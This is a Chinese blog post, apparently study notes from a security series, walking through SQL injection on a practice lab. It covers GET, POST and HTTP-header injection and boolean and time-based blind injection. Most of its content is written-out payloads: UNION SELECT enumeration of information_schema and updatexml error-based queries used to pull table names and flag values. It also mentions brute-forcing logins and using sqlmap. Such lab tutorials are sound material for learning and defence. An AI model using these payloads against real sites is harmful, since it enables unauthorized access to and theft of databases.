WEB安全的总结学习与心得(十)——SQL注入漏洞
WEB安全的总结学习与心得(十)
- 01 SQL注入漏洞之简介
- 02 SQL注入的过程
- 03 SQL注入的本质
- 04 SQL注入靶场
- 1.显错注入(Get注入)
- 显错注入小结
- 2.POST注入
- POST注入小结
- 3.Head注入
- 方法1:利用user agent
- 方法2:利用referer
- 方法3:利用X·Forwarded·For
- 4.sql盲注
- 布尔盲注
- 时间盲注
- 5.宽字节注入
- 后续持续更新敬请期待
01 SQL注入漏洞之简介
属性 | 介绍 |
---|---|
危害 | 获取数据库信息;获取后台隐私信息;植入Webshell,获取后门 |
漏洞类型 | 服务器端漏洞 |
02 SQL注入的过程
1.获取用户请求参数
2.精心构造代码拼接
3.SQL语句执行构造参数
03 SQL注入的本质
数据和代码未分离,即数据被当做了代码来执行。
04 SQL注入靶场
1.显错注入(Get注入)
第一步:判断注入点
and1=1 正常
and 1=2 报错,因此存在注入点
第二步:判断字段总数
and 1=1 order by 3
and 1=1 order by 4 此时出错说明字段数是3
第三步:判断显示位置
and 1=1 union select 1,2,3,因此显示位置为2和3
第四步:查询当前库名
and 1=1 union select 1,2,database()
第五步:查询表名
and 1=2 union select 1,database(),table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1
第六步:查询列名
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=“表名” limit 0,1
注:这里注意写表名的是时候要加引号,否则不显示内容
第七步:查询字段内容
and 1=2 union select 1,Id,flag from 表名 limit 0,1
显错注入小结
以上是显错注入中最简单的一次手动注入过程,找注入点时还可能遇到以下几种情况,第一步判断注入存在绕过之后,后续步骤以此类推大同小异。
绕过单引号
绕过单引号括号
绕过双引号括号
2.POST注入
POST注入是指使用POST进行传参的注入
第一步:找注入点
‘or 1=1 – qwe’
第二步:判断字段总数
‘or 1=1 order by 3 – qwe’
第三步:判断显示位置
‘union select 1,2,3 – qwe’
POST注入小结
与Get注入唯一区别就是输入参数的位置由URL变成了前端表单,原理是相同的,后续步骤可参照显错注入照猫画虎。
本文展示的是手动注入的方法,其实POST注入使用渗透工具sqlmap效果不错,具体步骤和方法可以参考本人另一篇文章渗透测试工具sqlmap使用技巧-以POST注入为例
3.Head注入
Head注入就是在传参的时候,将数据构建在http头部,使用head注入需要在登录状态下,因此需要知道用户名和密码,而用户名和密码一般情况下我们是不知道的,可以使用暴力破解,欢迎参考本人另一篇文章渗透测试工具Burpsuite的使用
方法1:利用user agent
得到账号和密码后,通过Burpsuite抓取数据包,将user agent参数改为如下语句
'1 and updatexml(1,concat(0x7e,(select database())),1),1)-- qwe
这里利用报错注入方法,结合更新xml文档的updatexml函数,输入了特殊字符~,于是在不符合xml规则报错的同时执行了嵌入的子查询可以得到我们想要的数据库名,表名等,如下图所示,即找到了注入点,接下来的步骤可以参考GET注入了
第一步:查询库名
第二步:查询表名
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1) -- qwe
第三步:查询字段名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 0,1)),1),1) -- qwe
第四步:查询字段内容
1' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1) -- qwe
方法2:利用referer
与方法1相比只是修改参数的位置不同,这里直接展示最后一步
方法3:利用X·Forwarded·For
这里使用了一个改数据包头部字段的插件,后续会介绍这个插件的使用
4.sql盲注
盲注是指在服务器上没有错误回显的时候进行的注入攻击
布尔盲注
只返回true或者false
第一步:采用二分法获取数据库长度,如下图所示,得到数据库长度是12
第二步,通过抓包暴力破解得到数据库名
如下图所示,substr()是分割函数,第一个参数是待分割字符串,这里是待暴破库名,第二个参数是字符串第几位,ascii()是将字母转换为数字的函数,通过组合暴力破解可以得到库名为kanwolongxia,因为暴力破解耗时太长,一般盲注还是使用渗透工具sqlmap
时间盲注
加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否准确
直接使用sqlmap
5.宽字节注入
后续持续更新敬请期待
WEB安全的总结学习与心得(十)——SQL注入漏洞相关推荐
- Web安全之SQL注入漏洞学习(一)
Web程序三层架构 三层架构主要是指将业务应用规划为的表示层 UI.数据访问层 DAL 以及业务逻辑层 BLL,其分层的核心任务是"高内聚低耦合"的实现.在软件体系架构设计中,分层 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- 【转】基于SQL的Web系统安全防范——SQL注入漏洞
攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...
- 【web安全】SQL注入漏洞1--寻找SQL注入
引言 我们在做web应用的时候,经常会根据前台的请求,到后台查询数据.由于前台用户输入的请求是不可信任的, 我们在代码里,如果直接将前台传过来的数据拼接到sql语句中,那么用户就可以构造非法的SQL语 ...
- mysql注入漏洞语句,web安全之sql注入漏洞
概念 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通俗地讲,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力 ...
- 危险!!!也许你的web网站或服务正在悄无声息地被SQL注入
2010年秋季,联合国官方网站遭受SQL注入攻击. 2014年一个叫"TeamDigi7al"的黑客组织攻击了美国海军的一个名为"Smart Web Move" ...
- web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞
这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...
- 从小白到web渗透工程师——零基础指南(2)sql注入漏洞
hello,各位小伙伴,在看过上一篇文章之后,想必大家伙对于web渗透工程师有了一定的了解,那么,作为一名渗透工程师,挖洞,就是我们的日常工作中必不可少的一部分了.在安全圈中,如果你挖的洞危险系数够高 ...
- Web安全之Sql注入漏洞
Sql注入漏洞 SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行. ...
最新文章
- 代码规范性与品质问题~
- 数据结构和算法:递归和迭代算法示例
- java泛型学习一:解惑继承
- 1103: [POI2007]大都市meg(dfs序+线段树||树状数组)
- php cdi_集成CDI和WebSockets
- mysql三高讲解(一):1.1 客户端怎样连接mysql数据库
- 开源字体不香吗?五款 GitHub 上的爆红字体任君选
- 浅出深入统计学(一)
- log4j2.xml 配置文件详解
- 【HTML】网页开发的一些单词(关键词),新手必备。
- 场曲 zemax示例(概念、校正)
- 【渝粤教育】电大中专Office办公软件 (15)作业 题库
- 考研复试怎么穿搭?看这一篇就够了!
- 向亲人、故乡和“本民族”致敬的写作
- win10的oneNote文件存储在哪
- BatchNormalization、LayerNormalization、InstanceNorm、GroupNorm、SwitchableNorm总结
- Excel模板中下拉筛选框动态展示筛选内容
- winXP自动关机命令
- 明医众禾完成上亿元A2轮融资,复星医药战略投资
- ubuntu测试键盘工具_从bash脚本检测Ubuntu键盘
热门文章
- opencv4.0.1 qr二维码定位识别源码详解(一)
- FLASH ECC算法
- 只需5分钟看完这篇 HTTPS,去阿里面试和面试官扯皮就没问题了!
- 阿里Code无密钥登录
- Kali Linux安装pip2.exe
- 「端口网」端口网线怎么接
- aspera 下载ENA 数据报错Error: Client unable to connect to server (check UDP port and firewall
- 新浪微博开发之三十(转发微博frame)
- 华为matepad进行html编辑,UP主们的秘密!原来用华为MatePad Pro可以这样做Vlog
- html把一条横线放在底部,html怎样把div放在底部